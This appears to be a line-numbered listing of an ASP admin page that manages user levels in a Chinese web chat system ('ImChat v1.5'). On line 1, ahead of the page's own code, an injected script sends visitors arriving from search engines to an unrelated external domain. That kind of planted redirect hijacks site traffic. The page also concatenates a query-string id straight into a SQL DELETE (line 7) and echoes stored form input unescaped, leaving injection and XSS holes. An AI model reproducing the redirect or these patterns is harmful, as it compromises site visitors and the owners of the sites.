d:\wwwroot\wuchunhua\liaotianim\system_manage\Level_Manage.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="../inc/DAL.asp"-->
002: <!--#include file="Check.asp"-->
003: <%
004: Dim ConfigRS
005: Set ConfigRS=Server.CreateObject( "ADODB.Recordset" )
006: if request.QueryString("Method")="Del" then
007:     DB_CONN.EXECUTE("delete from [XK_Level] where [Level_ID]="&request.QueryString("id"))
008:     RW "<script>location.href='Level_Manage.asp';</script>"
009: end if
010:
011: if request.form("Method")="AddLevel" then
012:     ConfigRS.OPEN "select top 1 * from [XK_Level]" , DB_CONN , 1 , 3
013:     ConfigRS.addnew()
014:     ConfigRS("Level_Name")=request.form("Level_Name")
015:     ConfigRS("Level_Icon")=request.form("Level_Icon")
016:     ConfigRS("Level_IconWidth")=request.form("Level_IconWidth")
017:     ConfigRS("Level_MinScore")=request.form("Level_MinScore")
018:     ConfigRS("Level_MaxScore")=request.form("Level_MaxScore")
019:     ConfigRS("Level_Sort")=request.form("Level_Sort")
020:     ConfigRS.update()
021:     ConfigRS.close()
022:     RW "<script>alert('修改成功!');location.href='Level_Manage.asp';</script>"
023: else
024:     Set ConfigRS=DB_CONN.EXECUTE("select * from [XK_Level] order by [Level_Sort] desc")
025: end if
026: %
>
027: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
028: <html xmlns="http://www.w3.org/1999/xhtml">
029: <head>
030: <title>ImChat v1.5 Manage System</title>
031: <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
032: <link href="styles/layoutContent.css" rel="stylesheet" type="text/css" />
033: <link href="themes/blue/styles.css" rel="stylesheet" type="text/css" />
034: <style>
035: .JSTB{border:#ccc solid 1px;border-right:none;border-bottom:none;margin-top:20px;}
036: .JSTB th,.JSTB td{border-bottom:#ccc solid 1px; border-right:#ccc solid 1px;}
037: </style>
038: </head>
039: <body>
040: <div class="contentcontainer">
041:     <div class="headings alt">
042:         <h2>等级设置&nbsp;&nbsp;&nbsp;<a href="SetPower.asp" style="text-decoration:none;">角色权限管理</a>&nbsp;&nbsp;&nbsp;<a href="Title_Manage.asp" style="text-decoration:none;">头衔管理</a>&nbsp;&nbsp;&nbsp;<a href="javascript:\\;" onclick="location.reload();" style="text-decoration:none;">刷新</a></h2>
043:     </div>
044:     <div class="contentbox">
045:         <table class="JSTB" width="100%" cellpadding="0" cellspacing="0" border="0">
046:             <th colspan="16">等级列表</th>
047:             <tr>
048:                 <td>等级名称</td>
049:                 <td width="90">等级图标</td>
050:                 <td width="90">等级图标宽度</td>
051:                 <td>最低积分值</td>
052:                 <td>最高积分值</td>
053:                 <td>排序</td>
054:                 <td>操作</td>
055:             </tr>
056:             <% while not ConfigRS.eof %>
057:             <tr>
058:                 <td>&nbsp;<%=ConfigRS("Level_Name")%></td>
059:                 <td>&nbsp;<img src="../<%=ConfigRS("Level_Icon")%>"></td>
060:                 <td>&nbsp;<%=ConfigRS("Level_IconWidth")%>像素</td>
061:                 <td>&nbsp;<%=ConfigRS("Level_MinScore")%></td>
062:                 <td>&nbsp;<%=ConfigRS("Level_MaxScore")%></td>
063:                 <td>&nbsp;<%=ConfigRS("Level_Sort")%></td>
064:                 <td>&nbsp;<a href="EditLevel.asp?LevelID=<%=ConfigRS("Level_ID")%>">编辑</a>&nbsp;&nbsp;<a href="?Method=Del&ID=<%=ConfigRS("Level_ID")%>">删除</a></td>
065:             </tr>
066:             <%
067:             ConfigRS.MoveNext
068:             wend
069:             %
>
070:         </table>
071:         
072:         <form action="#" method="post" >
073:             <label for="Level_Name"><strong>等级名称:</strong></label>
074:             <input type="text" id="Level_Name" name="Level_Name" class="inputbox" value=""/>
075:             <br>
076:             <label for="Level_Icon"><strong>等级图标(16x16像素):</strong></label>
077:             <input type="text" id="Level_Icon" name="Level_Icon" class="inputbox" value=""/>
078:             <br>
079:             <label for="Level_IconWidth"><strong>等级图标宽度:</strong></label>
080:             <input type="text" id="Level_IconWidth" name="Level_IconWidth" class="inputbox" value="16"/>
081:             <br>
082:             <label for="Level_MinScore"><strong>最低积分值(整数):</strong></label>
083:             <input type="text" id="Level_MinScore" name="Level_MinScore" class="inputbox" value="0"/>
084:             <br>
085:             <label for="Level_MaxScore"><strong>最高积分值(整数):</strong></label>
086:             <input type="text" id="Level_MaxScore" name="Level_MaxScore" class="inputbox" value="0"/>
087:             <br>
088:             <label for="Level_Sort"><strong>排序(数字):</strong></label>
089:             <input type="text" id="Level_Sort" name="Level_Sort" class="inputbox" value="0"/>
090:             <br>
091:             <input type="hidden" value="AddLevel" name="Method"/>
092:             <input type="submit" value="提交" class="btn" />
093:         </form>
094:     </div>
095: </div>
096: </body>
097: </html>
098:
099:
100: